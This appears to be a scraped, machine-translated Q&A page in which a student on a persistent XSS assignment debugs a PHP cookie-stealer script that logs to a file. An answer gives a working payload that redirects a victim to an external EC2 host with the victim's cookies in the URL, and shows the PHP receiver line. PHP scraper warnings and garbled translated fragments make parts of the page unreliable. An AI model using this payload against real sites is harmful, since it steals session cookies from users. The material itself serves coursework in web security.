Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/228.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
变量元';不能通过URL传递给PHP_Php_Amazon Web Services_Cookies_Webserver_Xss - Fatal编程技术网

变量元';不能通过URL传递给PHP

变量元';不能通过URL传递给PHP,php,amazon-web-services,cookies,webserver,xss,Php,Amazon Web Services,Cookies,Webserver,Xss,我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取cookie。有关此挑战的更多详细信息,请访问: 背景: 因为这个挑战是在一个玩具网站上进行的,所以该网站模拟受害者为我们查看页面。我们需要做的是将代码注入质询页面服务器,并通过该代码窃取受害者的cookie,然后将这些cookie发送到我们自己设置的web服务器。一旦我们成功收集了受害者的cookie,我们就可以将自己的cookie设置为这些值以通过挑战 到目前为止我所做的: 在aws ec2上设置web服务器。 我相信是ce

我正在做这个持久的跨站点脚本挑战作业,我们应该通过用户代理注入来窃取cookie。有关此挑战的更多详细信息,请访问:

背景:

因为这个挑战是在一个玩具网站上进行的,所以该网站模拟受害者为我们查看页面。我们需要做的是将代码注入质询页面服务器,并通过该代码窃取受害者的cookie,然后将这些cookie发送到我们自己设置的web服务器。一旦我们成功收集了受害者的cookie,我们就可以将自己的cookie设置为这些值以通过挑战

到目前为止我所做的:

  • 在aws ec2上设置web服务器。 我相信是centos,但由于安装centos发布包或类似的东西遇到麻烦,所以找不到更多发布信息。我只能找到:
    Amazon Linux AMI 2018.03.0.20181129 x86_64 HVM gp2
    。入站规则设置为
    ssh的端口22和
    http的端口80。httpd、mysql、php已安装并测试正常。
    /var/www/http
    下的文件
    index.html
    在浏览器中正常显示

  • /var/www/http

    我的
    cookie\u stealer.php的代码

  • 一件有趣的事情(奇怪!!)是,在我在php文件的
    $\u GET['c']
    行之后添加了以下行:

    echo 'Cookie: ' . $cookie . "\r\n";
    
    c
    的值可以作为
    ahhh
    打印在网页上,但不会写入
    log.txt
    log.txt
    仅记录以下内容:

    Cookie:There is no variable c
    Cookie:There is no variable c
    Cookie:There is no variable c
    Cookie:There is no variable c
    
    我的问题是,如果变量
    c
    被传递到服务器上的
    $cookie
    ,为什么当网页显示
    ahhh
    时,三元运算符总是返回
    “没有变量c”
    。有谁能告诉我为什么会发生这种情况,或者我还能在哪里看到?任何暗示都将不胜感激 我的第一个想法是:

    您可能需要对cookie文本进行URL加密。它可能有一些东西破坏了你的URL请求

    <script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
    
    例如,您的指导老师在那里塞了一个
    #
    标志或其他东西。我不能肯定,因为我从来没有通过查询参数发送过cookie,但我认为它们不应该以这种方式发送


    无论如何,这是太多的评论,希望它有帮助

    您可能需要更改文件权限才能写入该日志文件。尝试:
    chmod-R 777 log.txt

    “因此,我的理解是,出于某种原因,我的cookie\u stealer.php仅在Chrome上本地运行”这是不正确的。Chrome甚至不知道如何运行PHP。谢谢@Joseph Sible!我推断,只有网页可以显示传递的变量,我的服务器才能读取它。否则它就毫无意义了。如果页面只显示来自服务器的值,这对我来说太奇怪了,服务器无法读取,但页面可以显示。浏览器只显示服务器传递给它的内容,因此如果您可以看到
    c
    的值,这意味着您的服务器可以看到
    $c='ahhh'
    Hi@catcon,谢谢!根据我的代码,如果变量被传递到服务器,我仍然感到困惑,为什么三元运算符总是返回“没有变量c”?
    echo 'Cookie: ' . $cookie . "\r\n";
    
    Cookie:There is no variable c
    Cookie:There is no variable c
    Cookie:There is no variable c
    Cookie:There is no variable c
    
    <script type="text/javascript">document.location="ec2-52-91-99-56.compute-1.amazonaws.com/cookiesteal-simple.php?c="+encodeURIComponent(document.cookie)</script>
    
     $cookie = isset($_GET['c']) ? urldecode($_GET['c']) : 'There is no variable c';